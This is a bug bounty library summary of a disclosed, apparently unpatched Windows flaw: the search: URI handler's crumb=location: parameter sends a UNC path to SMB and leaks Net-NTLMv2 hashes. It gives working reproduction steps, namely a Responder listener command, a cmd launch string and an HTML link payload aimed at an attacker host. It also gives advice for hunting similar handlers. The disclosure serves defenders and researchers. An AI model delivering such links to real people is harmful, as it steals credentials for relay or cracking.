# Unpatched NTLM Leakage in Windows search: URI Handler, Same Bug, No CVE, No Fix

Windows search: URI handler accepts unvalidated crumb=location: UNC path, leaking victim Net-NTLMv2 hash to attacker SMB server on a single click.

- Payout: Research
- Severity: medium
- Program: Windows
- Credited: Huntress
- Disclosed: 2026-06-02
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/unpatched-ntlm-leak-windows-search-uri-handler
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-unpatched-ntlm-leak-windows-search-uri-handler
- Tags: domain:desktop impact:data-leak kind:research platform:threat-intel sev:medium tech:windows technique:recon technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Windows search: URI scheme handler (SearchExecute COM, ExplorerFrame.dll)
**Root cause:** The search: URI scheme's crumb=location: parameter is not validated, so a UNC path is passed to SMB, triggering NTLM authentication to an attacker-controlled host. Same SearchExecute COM activation path as search-ms:.
**Steps:**
1. Run `responder -I eth0 -wv` on attacker host 10.0.1.100.
2. On victim, execute `start "" "search:query=test&crumb=location:\\10.0.1.100\share"` (quotes required so & isn't parsed by cmd).
3. Or deliver `<a href="search:query=test&crumb=location:\\10.0.1.100\share">click</a>` in Edge.
4. Victim sees 'Windows cannot access the specified device, path, or file' but Responder captures tony.soprano::NEWJERSEY Net-NTLMv2 hash.
5. First invocation per logon leaks; subsequent ones fail until re-logon.
**How found:** After Microsoft patched CVE-2026-33829 (ms-screensketch: filePath UNC leak), researcher hypothesized the same primitive existed in other URI handlers and tested search: with crumb=location:, confirming identical NTLM leak.
**Exploitation:** Attacker sends a link; victim clicks; Windows resolves the UNC path and authenticates via NTLM to the attacker's SMB listener, exposing the Net-NTLMv2 hash for relay or offline cracking. No malware, no prompt.
**Insight:** When a vendor patches one URI-handler NTLM leak, enumerate other registered URI schemes sharing the same DelegateExecute CLSID and test their path/UNC parameters — the validation gap is usually in the shared COM handler, not the scheme.